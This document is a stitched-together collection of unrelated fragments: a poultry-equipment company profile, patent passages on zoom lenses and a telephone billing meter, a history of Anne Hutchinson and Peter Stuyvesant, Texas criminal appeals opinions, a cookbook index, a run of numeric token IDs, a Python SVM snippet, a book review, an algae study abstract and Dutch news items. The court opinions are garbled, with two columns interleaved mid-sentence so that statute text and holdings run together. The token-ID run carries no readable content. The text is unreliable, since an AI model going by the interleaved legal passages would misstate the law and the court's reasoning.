focus, Foodmate’s product line spans a wide assortment of poultry processing equipment designed for live bird handling, killing and de-feathering, eviscerating, chilling, weighing and grading systems and more. In addition to equipment manufacturing, Foodmate provides an extensive variety of spare parts and equipment service. Further supporting the industry, Foodmate also delivers equipment that can be used in industrial washers, including crate washers, pallet washers and container/drum washers. Driven by research, paired with unmatched knowledge and decades of experience, it is the company’s mission to innovate, automate and bring cost-effective solutions to the industry. Foodmate B.V. Foodmate US Foodmate is an equipment manufacturing company based in the Netherlands. Founded in 2006, we focus primarily on poultry processing, and we recently launched Foodmate US, expanding our worldwide distribution into North America.The present invention relates to an inner-focusing high zoom ratio lens, and more particularly, to a high zoom ratio lens that is designed to be downsized and to designate zoom adjusting ranges in a part of a shorter depth of focus. The prior art inner-focusing high zoom ratio lens has a greater variation in a feeding distance of a focusing lens with respect to the higher close-up point, and when a single focusing cam is provided to magnify a close-up performance, a displacement to focus becomes resultantly increased in the remaining zoom ranges, which leads to a necessity for vari-focal feature. Focusing cam curves used to shift a point of such vari-focal operation to a zoom range require appropriate balance of parameters of zooming and focusing. However, it is difficult to ensure a well-balanced cam configuration to attain smooth zooming and focusing, and hence, a rotation angle of a focusing cam must be altered, or some compensation is required in the focusing cam. Japanese Patent Laid-Open No. H8-304684 discloses a high zoom ratio lens in which a focusing lens moves forward and backward while simultaneously moving in a circumferential direction during either zooming or focusing. A cam configuration is used for a guide groove that urges a focusing cam barrel to circumferentially move while a cam pin fitted in the guide groove moves therein along in the focusing cam barrel, so that a displacement in a circumferential direction distorts an operational range with the focusing cam during zooming so as to attain an appropriate displacement in any of zoom ranges for focusing. However, it is still difficult to ensure a sufficient displacement to magnify a close-up performance and to attain a displacement for focusing under a restricted condition of shift of focal point in the entire zoom range. In a high zoom ratio lens disclosed in Japanese Patent Laid-Open No. 2000-89086, a focus compensating cam is disposed in a rotational member along with a focusing cam in order to attain an appropriate displacement to focus. However, since a focus lens in such mechanism is designed to linearly move during zooming, a displacement is fixed in any zoom range,

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with a simpler service in which the sermon—an analysis of a Bible passage by the minister—was the featured event. While Puritans agreed about these basic principles, they clashed over how to carry them out. A minority of Puritans thought that the Church of England could never reform itself and wanted no further relations with it. They fled England because disavowing the state church was a crime punishable by death. These self-styled "Pilgrims" settled first in Holland and later, in 1620, established the Plymouth Colony in what is now southeastern Massachusetts. The majority of Puritans, however, did not want to disavow the Church of England but instead sought to reform it from within. When it became clear in the late 1620s that King Charles was making the church _more_ rather than less Catholic, many of these Puritans decided to leave England too. In 1629 they created their own North American settlement, the Massachusetts Bay Colony, just up the coast from the Pilgrims. There the Puritans could remain nominal members of the Church of England while instituting their reforms far from meddling bishops. They hoped that their "city upon a hill," Boston, would set an example that other Englishmen would one day emulate, eventually allowing the Puritans to return triumphantly to a better, purified England. Anne Hutchinson found the concept of the city upon a hill absolutely thrilling. When her favorite minister, John Cotton, moved to Boston in 1633, Anne became determined to settle there too. There was only one problem. Most immigrants who risked life and limb on a perilous, potentially months-long ocean journey to a wild, untamed continent were young men and women. Anne, in contrast, was in her early forties (almost a senior citizen in those days) and had ten children, with an eleventh on the way. But once Anne had made up her mind, nothing could stop her. She first sent her eldest son, Edward, to Boston to pave the family's way, and in 1634 Anne and her husband, with their ten other children in tow, crossed the Atlantic on the _Griffin_ and settled in Boston. Even within the Massachusetts Bay Colony, the Puritans argued over the doctrinal changes they might institute. Most Puritans believed that a person's elevated worldly status—one's popularity, one's health, and especially one's wealth—was an indicator of divine approbation. Anne could easily have adopted this view, as she lived in one of the finest homes in Boston, was a popular midwife, and hosted a weekly Bible study group that drew large crowds. But Hutchinson was convinced that because God had predetermined everything in one's life even before birth, one's standing in the earthly world was no evidence of saintly status in God's eyes. Hutchinson boldly espoused this view at her Bible study meetings. Puritan leaders found Hutchinson's arguments alarming and threatening, because Puritans relied heavily on worldly standing to determine church membership. Only Cotton, among all the ministers in Massachusetts, endorsed her views. After failing to persuade her to recant, the colony's leaders charged her with heresy. She would not back down, and during her trial she made even more radical claims. When asked how she knew that she was right and the other Puritan leaders were wrong, she stated that God, speaking through the Holy Spirit, had told her so. In 1638 the court excommunicated her and, to insure that she could not spread her "heresies" to others, banished her from Massachusetts. Hutchinson and her family moved initially to Rhode Island at the invitation of Roger Williams, another Puritan Dissenter whom the Massachusetts Puritans had expelled. Anne's husband, William, became a government official there. But she soon persuaded him to quit that job. She had come to believe that all civil government was illegitimate in God's eyes. William died sometime in 1641, and in the following year, Anne decided to truly practice what she preached. Packing up seven children, a son-in-law, and a half-dozen or so servants, she moved the family to a place where she believed she would not have to answer to any government—a forest homestead about fifteen miles north of the New Amsterdam settlement, in what is now the northeast portion of the Bronx, which she had purchased from an Englishman. She hired another local Englishman to build her family a home on the property near Split Rock, a granite geological oddity that still sits today just a few feet south of Interstate 95, only a few yards east of where that highway passes over the Hutchinson River Parkway. The Indians involved in Kieft's War who knew about Hutchinson's new home probably did not care that she was English rather than Dutch. In the summer of 1643, they killed every adult inhabitant, including Anne, her son-in-law, her servants, and all but one of her children. According to legend, only after the killing spree ended did the attackers find Hutchinson's red-haired ten-year-old daughter, Susanna, cowering in the Split Rock crevice. They took her prisoner and only released her several years later, after the Dutch and the various Indian chiefs ratified a peace treaty at Fort Amsterdam in 1645. A year later, Massachusetts governor John Winthrop reported that Susanna was living in Boston. She later moved to Rhode Island and there bore eleven children of her own. Her mother, stubborn and independent to the end, was one of the very first Americans to take a stand in defense of freedom of conscience. Kieft's disastrous war on the Indians convinced WIC leaders that they had once again chosen the wrong man to operate their struggling settlement. They needed a proven leader with a track record of success in running a profitable colony. He needed to be diplomatic enough to maintain peace with the Indians, yet strong enough to squelch the never-ending flow of complaints that New Amsterdam's colonists kept sending to the Dutch government, much to the embarrassment of the WIC. The man they chose, in 1647, was the company's peg-legged governor of Curaçao, thirty-seven-year-old Peter Stuyvesant. Stuyvesant was born in about 1610 in the cold, windswept northern Dutch province of Friesland. His father was a minister of local prominence, and Peter grew up in a comfortable home. He attended the local college, probably with the goal of following his father into the ministry, but around 1630, midway through his studies, the university expelled him, apparently because he was caught sleeping with the daughter of his boardinghouse keeper. Seeing that Peter was not cut out for the ministry, his father sent him to Amsterdam to learn a profession. The Reverend Stuyvesant probably had some connections with Friesland's representatives on the WIC's board of directors, because Peter soon landed an entry-level job as a clerk at company headquarters in Amsterdam. After Peter served five years as a WIC clerk in Amsterdam, his father used his influence to get him a promotion. The company made him its supply officer on Fernando de Noronha, an idyllic but lonely seven-square-mile islet that lies 225 miles east of the Brazilian coast. Soon they transferred him to a similar position in the far more important Brazilian coastal trading stronghold of Pernambuco and in 1638 to the same position in Curaçao, where the WIC stationed its officer in charge of all Caribbean operations. When that station chief died, the WIC gave his job to Stuyvesant. Stuyvesant was tough, and loyal to the company. On WIC orders, he led a doomed attack on the Spanish fort at Puerto Rico, losing his leg in the process. After a two-year recuperation period, during which he married his nurse, Stuyvesant was rewarded with a significant promotion. The WIC made him director general of Curaçao, Bonaire, Aruba, and all of New Netherland, with a base of operations in New Amsterdam. Sailing at the head of a flotilla of four ships, Stuyvesant left Holland on Christmas Day 1646 and, after stopping first in the Caribbean, arrived in New Amsterdam to replace Kieft on May 11, 1647. The WIC told Stuyvesant that past problems in New Amsterdam had originated with "the slackness of the late Director and the neglect of duty by the preacher," so he immediately set about trying to restore order and respect for authority. Learning that drunken knife fights were a common occurrence, he announced that he would henceforth punish the participants in such brawls with six months in jail on a bread and water diet, eighteen months if anyone was stabbed. He also banned the sale of alcohol after 9:00 p.m. When he caught sailors employed by the WIC on shore without permission, he sentenced them "to be chained for three consecutive months to a wheelbarrow or a handbarrow and put to the hardest labor, strictly on bread and water." Stuyvesant also warned the settlers against appealing these harsh fines or punishments to the WIC directors in Amsterdam, as they had in the past. "Should any one do so, I would have him made a foot shorter, pack the pieces off to Holland and let him appeal in that way." Stuyvesant was also appalled at the lack of respect that New Amsterdam's residents paid to the observance of the Sabbath. He therefore announced that those caught on Sundays sowing, mowing, plowing, hunting, fishing, woodcutting, or working in iron or tin

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day of trial felony (or a misdemeanor for which the [**12] and before the jury is empaneled. Teal, 230 district court has jurisdiction). S.W.3d at 177. We also indicated that the critical determination is whether the trial court (and reviewing ... It certainly was a defective appellate courts) and the defendant can identify what indictment because it omitted one of the penal-code provision is alleged and whether that two [*329] elements that raise hindering penal-code provision is one that vests jurisdiction in the apprehension from a misdemeanor to a felony, but it was nonetheless sufficient to Page 5 279 S.W.3d 324, *329; 2009 Tex. Crim. App. LEXIS 378, **14 [**14] vest jurisdiction-it charged "an harm or defraud another, then a state-jail felony. offense" and one could fairly conclude from the face of the charging instrument (c)(2) school records, license, permit, seal, that the State intended to charge a felony title, letter of patent, or similar document; a offense. If appellant was confused about third-degree felony unless the actor's intent is to whether the State did or intended to charge harm or defraud another, then a second-degree him with a felony, he could have and felony. should have objected to the defective (c)(3) a record required to enroll a student in indictment before the date of trial. a school district and used to establish residency; a class C misdemeanor. Id. at 181-82. (c)(4) a written appraisal [**16] filed with an 4 For example, a district court lacks appraisal review board that was performed by a subject-matter jurisdiction over a speeding person with a contingency interest in the outcome offense no matter how perfect the wording of a of the hearing; a class B misdemeanor. charging instrument alleging such an offense, and there is no such offense as felony speeding. The (d) vehicle liability insurance form; varying trial court clearly lacks subject-matter jurisdiction, levels, depending on how the tampering was done and the indictment cannot, therefore, be repaired. (§ 37.10 (a)(1-6)). Here, although the indictment properly charged a Although the heading alleges a third-degree misdemeanor and lacked an element necessary to charge felony, the jury convicted appellant of a state-jail a felony, the felony offense exists, and the indictment's felony. Such a conviction may be had only under return in a felony court put appellant on notice that the § 37.10(c)(1) with proof of intent to defraud or charging of the felony offense was intended. Further, the harm another. face of each indictment contains a heading: "Indictment--Tampering with a Governmental Record 3rd The court of appeals erred when it concluded that Degree Felony,--TPC § 37.10(a)--Code 73990275." 5 these indictments fail to satisfy the constitutional The Penal Code section was easily ascertainable, and the requirement of subject-matter jurisdiction and did not notation that the offense [**15] was a third-degree vest the district court with jurisdiction. We reverse the felony clearly indicated that the state intended to charge a judgment of the court of appeals and affirm the judgment felony offense and that the district court had of the trial court in Cause No. 05-06-01274-CR subject-matter jurisdiction. Appellant had adequate notice (trial-court Cause No. 23290-86). In Cause No. that she was charged with a felony. If she had confusion 05-06-01230-CR (trial-court Cause No. 23338-86), the about whether the State did, or intended to, charge her court of appeals found appellant's first issue, lack of with a felony, she could have, and should have, objected jurisdiction, dispositive and therefore did not address her to the defective indictment before the date of trial. second issue. We reverse the judgment of the court of appeals in Cause No. 05-06-1230-CR and remand it to 5 The heading sets out that the charge is a that court so that it may consider appellant's unaddressed third-degree felony. Section 37.10(a) enumerates claim of error as to an objection [**17] under the the elements of tampering with a governmental attorney-client privilege. We deny appellant's motion for record. Section 37.10(c) and (d) state what rehearing. punishment ranges apply to different kinds of governmental records. Delivered: March 18, 2009 (c)(1) general classification not covered by Publish subdivisions (2), (3), and (4) and subsection (d); a class A misdemeanor unless the actor's intent is to Page 1 DAVID WAYNE MIDDLETON, Appellant v. THE STATE OF TEXAS NO. 1263-01 COURT OF CRIMINAL APPEALS OF TEXAS 125 S.W.3d 450; 2003 Tex. Crim. App. LEXIS 73 April 23, 2003, Delivered NOTICE: [**1] PUBLISH if the officer lacked probable cause. We conclude that the failure to [*452] define that term was not error because SUBSEQUENT HISTORY: As Corrected May 5, this jury did not need the definition. 2003. I. Facts PRIOR HISTORY: ON APPELLANT'S PETITION FOR DISCRETIONARY REVIEW. FROM THE On New Year's Eve, 1998, Sergeant Stanford was SECOND COURT OF APPEALS. WISE COUNTY. "working radar" at the intersection of Crittendon Street and Cates Street in Bridgeport. He testified that he saw a DISPOSITION: Court of Appeals' judgment affirmed. small blue Chevy pick-up fail to come to a complete stop at the stop sign. Stanford followed the vehicle with his lights flashing and after a few blocks the truck came to a COUNSEL: FOR APPELLANT: KEN MAHAFFEY, stop. Stanford approached the truck and identified the AUSTIN. driver [**2] as Middleton. Middleton consented to a search, and upon searching the truck, Stanford found FOR STATE: BARRY'S GREEN, DA, DECATUR. methamphetamine behind the ashtray. JUDGES: Keasler, J., announced the judgment of the Middleton testified that he stopped at the stop sign. Court and delivered an opinion, in which Keller, P.J., and Womack and Hervey, JJ., joined. Holcomb and Cochran, At the conclusion of testimony, defense counsel JJ., concurred in the result. Womack, J. filed a concurring requested a charge pursuant to Art. 38.23: opinion. Price, J., filed a dissenting opinion, joined by I would request the Charge, under Article 38.23 of Meyers and Johnson, JJ. the Code of Criminal Procedure at the beginning of top of Page 2, I would ask that it be inserted. "Our law OPINION BY: Keasler provides that any evidence seized in violation of the United States Constitution, the Texas State Constitution, OPINION the laws of the State of Texas or of this county, shall not [*451] A police officer said he saw David be admitted into evidence in any criminal proceeding." Middleton run a stop sign, but Middleton claimed that he Basically, I would ask for that charge as a descriptive stopped. The officer pulled Middleton over and found of what the law is for the next two paragraphs, your drugs. The jury was instructed to disregard this evidence Page 2 125 S.W.3d 450, *452; 2003 Tex. Crim. App. LEXIS 73, **2 Honor. reasonable doubt as to whether or not that stop was valid, you don't consider anything that was a result of that stop. The court denied Middleton's request but did include the following language in the charge: *** The court further instructs you that before you may The evidence is - The evidence is that there is some consider the

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fruit & seed bread loaf – pink fish sandwich – roly-poly sandwich – tasty bread tarts – broccoli: swirly pasta with leek, broccoli & cheese sauce – brushing bumblebee cakes – burgers, oven-baked herby – butter: creaming with sugar rubbing into flour buttercream – **C** cakes bumblebee cakes – Ella's raspberry & white chocolate cake – carrots: beef & corn tortilla tubes red dip with crunchy veggies – celery, crunchy cheese: cheese scones cheesy stuffed peppers grilled ham bagel mini puffy tomato tarts – oven-baked herby burgers – swirly pasta with leek, broccoli & cheese sauce – tacos with soya beans & coriander – see also cream cheese chicken: all-in-one chicken – crunchy paprika chicken – lemony chicken – chilli: tacos with soya beans & coriander – chocolate: chocolate kisses – Ella's marshmallow & chocolate squares – Ella's raspberry & white chocolate cake – melting, pic 'n' mix hot choc – citrus puddings – colanders, draining in coriander leaves: fish curry with rice – green dip with corn chips – tacos with soya beans & coriander – courgettes: minty lamb couscous couscous, minty lamb cranberries: crunchy celery fruit & seed bread loaf – cream cheese: cucumber snacks Lola's strawberry sweets pepper pasta sauce red dip with crunchy veggies – roly-poly sandwich – crumble, what's-in-season fruit – cucumber snacks curry: fish curry with rice – cutting techniques,, **D** dips: green dip with corn chips – red dip with crunchy veggies – DIY pizzas – dough, kneading draining in a colander dried fruit: Ella's marshmallow & chocolate squares – fruit & seed bread loaf – fruit scones mini fruit pies drinks: Finley's lemonberryade – fizzy strawberry crush – pic 'n' mix hot choc – tropical smoothie **E** easy minestrone soup – eggs: cracking herby scrambled eggs – pink fish sandwich – separating – tasty bread tarts – whisking whites Ella's marshmallow & chocolate squares – Ella's raspberry & white chocolate cake – equipment,, **F** Finley's lemonberryade – fish curry with rice – fizzy strawberry crush – flour, rubbing butter into flower & herb ice bowl – folding freezing fruit: berry crunch fruit & seed bread loaf – fruit scones mini fruit pies – roasted soft fruit – stripey ice lollies three fruit salad – tropical smoothie washing what's-in-season fruit crumble – **G** garlic, grating great Granny's smoked haddock & spinach spuds – green dip with corn chips – grilling **H** haddock: great Granny's smoked haddock & spinach spuds – ham: grilled ham bagel ham & pineapple pizzas – herby scrambled eggs – **IJ** ice bowl, flower & herb – ice lollies, stripey jars, opening & closing **K** kneading dough knives **L** lamb: minty lamb couscous laying table, leeks: swirly pasta with leek, broccoli & cheese sauce – lemon: Finley's lemonberryade – lemony chicken – magic citrus puddings – lettuce: pretty prawn cocktails lining baking tins Lola's strawberry sweets lollies, stripey ice **M** magic citrus puddings – marinating, marshmallow & chocolate squares – mashing measuring, melon: three fruit salad – melting chocolate, milk: pic 'n' mix hot choc – minestrone soup – mini fruit pies – mini puffy tomato tarts – minty lamb couscous **N** nectarines: roasted soft fruit – what's-in-season fruit crumble – noodles: rainbow stir-fry – nori seaweed: super sushi rolls – nuts: fruit & seed bread loaf – **O** oats: what's-in-season fruit crumble – olives: all-in-one chicken – omelettes: super sushi rolls – orange juice: bumblebee cakes – fizzy strawberry crush – three fruit salad – tropical smoothie what's-in-season fruit crumble – oven-baked herby burgers – ovens **P** pasta, easy minestrone soup – pepper pasta sauce swirly pasta with leek, broccoli & cheese sauce – tuna pasta sauce pastry, sweet shortcrust – pawpaw: tropical smoothie passion fruit: tropical smoothie peaches: roasted soft fruit – what's-in-season fruit crumble – peanut butter: crunchy celery peas: easy minestrone soup – tasty bread tarts – peppers: all-in-one chicken – cheesy stuffed peppers pepper pasta sauce pestles pesto: mini puffy tomato tarts – pic 'n' mix hot choc – pies, mini fruit – pineapple: ham & pineapple pizzas – pink fish sandwich – pizzas: DIY pizzas – ham & pineapple pizzas – plums: roasted soft fruit – what's-in-season fruit crumble – potatoes: baking jacket potatoes great Granny's smoked haddock & spinach spuds – prawns: pretty prawn cocktails super sushi rolls – **R** rainbow stir-fry – raisins: Ella's marshmallow & chocolate squares – raspberries: chocolate kisses – Ella's raspberry & white chocolate cake – Finley's lemonberryade – flower & herb ice bowl – red dip with crunchy veggies – rice, fish curry with rice – super sushi rolls – roasting rolling roly-poly sandwich – **S** salad bar with Susan's dressing – salmon: pink fish sandwich – sandwiches: pink fish sandwich – roly-poly sandwich – scissors scones & jam – seaweed: super sushi rolls – seeds: fruit & seed bread loaf – shaping, shortbread shapes – smoked haddock: great Granny's smoked haddock & spinach spuds – smoked salmon: roly-poly sandwich – super sushi rolls – smoothie, tropical soup, easy minestrone – soya beans: easy minestrone soup – tacos with soya beans & coriander – spinach: great Granny's smoked haddock & spinach spuds – spoons: measuring with scooping with spreading stir-fry, rainbow – stirring strawberries fizzy strawberry crush – flower & herb ice bowl – Lola's strawberry sweets stripey ice lollies sugar, creaming butter with Susan's dressing, salad bar with – sushi rolls, – sweet shortcrust pastry – sweetcorn: tasty bread tarts – tuna pasta sauce sweets, Lola's strawberry swirly pasta with leek, broccoli & cheese sauce – **T** tacos with

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320, 1925, 556, 644, 5966, 3066, 253, 15487, 3307, 13, 715, 1097, 253, 941, 8749, 26240, 285, 253, 2953, 8749, 25985, 13, 253, 2953, 14156, 27446, 15693, 247, 2625, 327, 253, 2953, 1685, 19372, 7809, 326, 253, 1491, 21654, 327, 253, 941, 1685, 10140, 281, 247, 11265, 1180, 281, 320, 1925, 15, 831, 1491, 13, 275, 5865, 830, 327, 253, 2953, 1685, 19372, 13, 310, 9904, 281, 253, 2953, 29810, 31950, 13, 534, 15693, 247, 46819, 8046, 2625, 327, 1386, 30761, 13, 281, 8046, 4254, 273, 253, 1980, 2170, 2127, 46819, 31399, 13, 253, 1375, 2170, 2127, 46819, 31499, 13, 253, 4229, 30899, 2170, 2127, 46819, 27322, 13, 285, 253, 643, 30899, 2170, 2127, 46819, 33000, 15, 380, 1375, 2170, 2127, 46819, 31499, 26662, 253, 1180, 273, 253, 1925, 11265, 327, 1386, 26138, 342, 271, 2170, 2127, 2829, 26506, 7141, 15308, 281, 313, 74, 10, 6635, 271, 8046, 2625, 281, 253, 1375, 4778, 3541, 2953, 14156, 32236, 327, 1386, 30581, 285, 313, 2886, 10, 4564, 253, 2127, 9999, 253, 1925, 11265, 1180, 281, 253, 3541, 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minutes. Thus the call duration signal on line 225 indicates the total amount of time that the call has been in progress, while the time billed display 12 indicates the time for which the calling party is being charged, regardless of whether the actual duration of the call corresponds to said time. The adder-accumulator 261 is reset at the end of a call by the stop-count signal on line 185. The billing period signal on line 260 is also coupled to set the counting capacity of the down-counter 199 which counts the one second time clock pulses on line 227 over a time period initiated by the start-count signal on line 184 and terminated by the stop-count signal on line 185. At the end of each billing period, the down-counter 199 reaches a zero count, i.e. the capacity corresponding to the duration of said time period as set by the signal on line 260, and provides a carry-add signal to the adder-accumulator 263 on line 264, causing the corresponding billing period cost from the multiplexer 265 on line 266 to be added to the contents of the accumulator 263. The multiplexer 265 couples to the output line 266 thereof (i) the first period cost signal from the first or initial period cost latch 267 on line 223, and thereafter (ii) the next period cost signal on line 224 from the next period cost latch 254, to set output terminal 266 thereof. Thus the signal on line 266 at all times indicates the cost of the corresponding billing time period. At the end of each billing time period, the carry-add signal on line 264 causes the corresponding cost encoded signal on line 266 to be added to the contents of the accumulator 263, so that the output signal of the accumulator 263 on line 268 corresponds to the amount billed for the call in progress. The amount billed signal on line 268 is selectively coupled to the amount billed display 11 via a multiplexer 269 and the decoder driver 251. The amount billed signal on line 268 is also selectively coupled to a date-to-month adder-accumulator 270 via a multiplexer 271, to add the cost of the call in progress to the total costs of calls previously made from the calling telephone from the beginning of the corresponding month to the current date. Thus the output of the accumulator 270 on line 272 indicates the total amount billed for the corresponding month to date. The multiplexer 269 is controlled by an address decoder 273 coupled to the address bus 192 and responsive to depression of the special key A 9see Table I, item 9) to display the month-to-date amount billed, as provided on line 272, on the amount billed display readout 11, with the light 17 (see FIG. 3) being simultaneously illuminated. Whenever the special key A is not depressed, the amount billed signal on line 268 for the call in progress is displayed on the readout 11. The date-to-month adder-accumulator ceases to accumulate further any amounts corresponding to the call in progress, when the stop-count signal is received on line 185. At the end of each month, it is necessary to reset the adder accumulator 270. Also, it may be desirable from time to time to set the contents of the adder-accumulator 270 to a preset value. This setting or resetting of the accumulator 270 is accomplished via the multiplexer 271, which is enabled by a signal from the address decoder 274 to enter therein initial data (which could if desired be zero, corresponding to a resetting of the accumulator 270) present on the data bus 193 as a result of depression of corresponding keys of the keyboard 22, via the accumulator load gates 275, with the address decoder 274 being responsive to a C7 code followed by the address of the accumulator 270 (see Table I, item 8). The manner in which the initial and next period duration and cost signals are provided to the latches 259, 267, 256 and 254, on lines 279 to 282 respectively, will be more clearly understood by reference to FIG. 8, sheet C, which shows the circuitry for providing said signals as well as the initial period rate memory and next period rate memory signals to the multiplexer 213 on lines 223 and 224, respectively. The memory circuitry shown in FIG. 8 (sheets E-F computes the initial and next period duration and cost signals separately for (i) local calls within defined local rate zones, (ii) non-local interstate calls having distance-dependent rates, and (iii) non-local interstate calls having fixed rates for calls between predetermined rate centers. The duration and rate signals for local calls are generated by a locality rate memory 284 on line 285, and are coupled to a multiplexer 286. The memory 284 is addressed by a locality memory address generator 287, which generates a memory address signal on line 288, in response to (i) a time of day/day of week/holiday composite signal from the three time rate factor comparator 289 on line 290, (ii) a signal on line 291 corresponding to the telephone number being called, from the number called location latch 292, (iii) a signal on line 293 corresponding to the number of the telephone from which the call is being made, from the number calling location latch 294, and (iv) the memory address signal on line 295 from the rate memory address generator 296, which is responsive to a memory address code C6 followed by the address of the particular desired memory location (see Table I, item 5). The address signal on line 295 is merely an alternative way of addressing the memory 284, for purposes of displaying the contents of a particular cell thereof on the general purpose display readout 15 (see FIG. 3). The memory 284 is a read only memory, so that its contents cannot be changed, except by special techniques or by substituting another memory therefor. The number calling location latch circuit 294 receives a digital signal on line 276 corresponding to the number of the calling telephone and a coded signal on line 297 indicating whether the calling telephone is in the same local zone as the number of the telephone being called. If so, the digital signal on line 276 corresponding to the number of the calling telephone is routed to line 293 to provide a corresponding input signal for the address generator 287 to generate an address signal on line 288 to the locality rate memory 284. The calling telephone number coded signal on line 276 is provided by a calling telephone number memory 278, which is coupled to the data bus 193, with the memory 278 being enabled by the address decoder 277 to store the data present on the data bus when the signal present on the address bus 192 corresponds to depression of keys of the keyboard 22 generating a C11 code (see Table I, item 19). The telephone number to be called is initially entered into the keyboard 22 as previously described, and appears on the data bus 193. The called number is routed to the number called location latch 292 through a local area code compare circuit 298, which circuit (i) generates an enable signal to the number called location latch 292 on line 299 when the number being called is a local number and (ii) couples the digital signal corresponding to the number being called to a multiplexer 300 on line 301. The other input to the multiplexer 300 is a digital signal on line 276 corresponding to the number of the calling telephone. The multiplexer 300 is actually a data-routing circuit which permits the digital signals on lines 276 and 301 to be coupled to the memory address generator 302, through line 303, whichever signal is present being so coupled through the multiplexer 300. Due to the manner of operation of the metering device, as previously described, the digital signals on lines 193 and 276 are present at different times. The memory address generator 302 generates an address signal on line 304 to address the local zone memory 305 to cause said memory to provide on output line 297 thereof, digital signals corresponding to (i) the number of the local zone in which the calling telephone is situated and (ii) the number of the local zone in which the called telephone is situated. The calling number latch 294 then couples the corresponding local zone designation signal to line 293 to the local memory address generator 287, while the number called location latch 292 couples the corresponding local zone designation signal to line 291, to the address generator 287. Thus the address generator 287 is provided with input signals, inter alia, indicating the local zones in which the calling and called telephones are situated. By utilizing said local zone information as well as the time of day etc., information provided on line 290, the local memory address generator 287 generates an appropriate address signal to cause the rate memory 284 to output the corresponding call rates on line 285. When a telephone number to be called has been entered via the keyboard 22, into both the data register 181 and the address register 182, the address generator 191 generates a signal on the address bus 192 indicating that the information presently on the data bus corresponds to a telephone number to be called. This information, in digital form on the address bus 192, is coupled to the address decoder 306, which generates a comparator enable signal on line 307, to enable operation of the local area code comparator 298, the state area code comparator 308, the fixed interstate area code comparator 310, and the other interstate area code comparator 309. The state area code comparator 308 compares the number of the called telephone on line 193 with an area code table internally stored therein to (i) generate an enable signal to the state variable memory address generator 311 on line 312 and (ii) couple the code representing the called telephone number to the memory address generator 313 and the variable address generator 315 on line 314. The memory address generator 313 is also responsive to the calling telephone number from the latch 294 on line 316, the time of day information, etc., from the three time rate factor comparator 289 on line 290, and (at another time) to an address signal from the address generator 296 on line 295 (when it is desired to address a particular memory cell location within the generator 313), to generate

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Eval = kernelTrans(sVs,datMat[i,:],('rbf', k1)) predict=kernelEval.T * multiply(labelSV,alphas[svInd]) + b if sign(predict)!=sign(labelArr[i]): errorCount += 1 print("the test error rate is: %f" % (float(errorCount)/m)) Day: June 18, 2019 With her daughter to care for and her abuela to help support, high school senior Emoni Santiago has to make the tough decisions, and do what must be done. The one place she can let her responsibilities go is in the kitchen, where she adds a little something magical to everything she cooks, turning her food into straight-up goodness. Still, she knows she doesn’t have enough time for her school’s new culinary arts class, doesn’t have the money for the class’s trip to Spain — and shouldn’t still be dreaming of someday working in a real kitchen. But even with all the rules she has for her life — and all the rules everyone expects her to play by — once Emoni starts cooking, her only real choice is to let her talent break free. Kim’s Review: Best. Cover. Ever. Easily my favorite of the year so far. This is one that I bought exclusively for the cover, it’s that gorgeous! This is my first book by Acevedo and after reading it, I might just get her other book. I liked this story a lot. She kept it real and without much embellishment or polish. Emoni is believable and completely likable. She’s a young person who doesn’t hide from her responsibilities or the consequences of her actions. I loved her passion for food. While I thought this book was going to fall into the same problem as Fangirl, a student refusing to take the wisdom of the teachers and quitting something because it’s just too hard, Emoni surprised me and matured throughout the story. I also liked the look into the life of a pregnant teen. While I don’t believe in sex outside of marriage, it happens and of course, accidental pregnancies crop up as well. Emoni and her grandmother worked hard to adapt to the new baby and I appreciated how Acevedo commended the hard work and effort put into the new life and responsibilities. I also now want to go on a food tour of Spain! Overall, this is a sweet read, that combines happy and sad perfectly. There was a little bit of that woke focus on race, but thankfully, it wasn’t much. I really liked this book and absolutely recommend it!Enhanced nutrient stress by reducing the dilution rate (D) from D = 0.3 d−1 to D = 0.1 d−1 (D = μ) induced the strongest response in E. huxleyi. At μ = 0.3 d−1, PP was significantly higher at elevated CO2 and temperature and DO14C production correlated to PO14C production in all treatments, resulting in similar percentages of extracellular release (PER; (DO14C production/PP) × 100) averaging 3.74 ± 0.94%. At μ = 0.1 d−1, PO14C production decreased significantly, while exudation of DO14C increased. Thus, indicating a stronger partitioning from the particulate to the dissolved pool. Maximum PER of 16.3 ± 2.3% were observed at μ = 0.1 d−1 at elevated CO2 and temperature. While cell densities remained constant within each treatment and throughout the experiment, concentrations of HMW-dCCHO, pCCHO and TEP were generally higher under enhanced nutrient stress. At μ = 0.3 d−1, pCCHO concentration increased significantly with elevated CO2 and temperature. At μ = 0.1 d−1, the contribution (mol % C) of HMW-dCCHO to DOC was lower at elevated CO2 and temperature while pCCHO and TEP concentrations were higher. This was most pronounced under greenhouse conditions. Our findings suggest a stronger transformation of primary produced DOC into POC by coagulation of exudates under nutrient limitation. Our results further imply that elevated CO2 and temperature will increase exudation by E. huxleyi and may affect organic carbon partitioning in the ocean due to an enhanced transfer of HMW-dCCHO to TEP by aggregation processes.This project sets out to demonstrate that media coverage can degrade a country's image by using selective news without context. It uses the Netherlands as an example. It is a reaction to the frequent misrepresentations of Israel in many ways in major media, including those of the Netherlands. Thursday, January 30, 2014 Lilianne Ploumen, Minister of Foreign Trade (Labor) has praised the CoolCut Textile firm as a firm which is ahead of others because its code of conduct forbids child employment and exploitation. She also praised the company because of the way it promotes sustainability. In November however, she said that CoolCut didn’t take its responsibility toward workers seriously. Thereupon, Roland Kahn, Director of CoolCut, took Ploumen to court. Perhaps to avoid the court case, Ploumen changed her opinion. On a hidden camera, Kahn called Ploumen “a c*nt minister.” www.elsevier.nl/Politiek/nieuws/2014/1/Minister-Ploumen-schrijft-reclamefolder-CoolCat-1452304W Wednesday, January 29, 2014 At the ROC Amsterdam school, stolen exams have been offered for purchase via SMS. More than 400 students of the school in the section for legal services have to pass 825 new exams. A detective bureau has been hired by the school to investigate how many people are involved in the theft and spreading of exams. The fraud has become public at the time when the criminal case against 11 suspects of theft and receiving of exams at the Islamic high school Ibn Ghaldoun in Rotterdam is before the judges. www.telegraaf.nl/binnenland/22250697/__Grote_examenfraude_A_dam__.html Tuesday, January 28, 2014 The 2013 annual report of the monitoring point for discrimination on the internet (MDI) mentions that once again, the largest category of discrimination on the Dutch internet concerns anti-Semitism, with 250 mentions out of a total of 924. This is the more remarkable in view of the small size of the Dutch Jewish community. The second largest category of discrimination concerns Muslims, with 222 mentions. The third largest concerns people of black origin. This is a major increase which can be explained due to the debate on Black Pete. The continuous increase of discrimination on social media such as Twitter, Facebook and YouTube as well as mainstream websites is also remarkable. The MDI says that this trend of “normalization of discrimination” is increasing in recent years and is expected to increase even further. www.meldpunt.nl Monday, January 27, 2014 Russian Human Rightist and former Chess 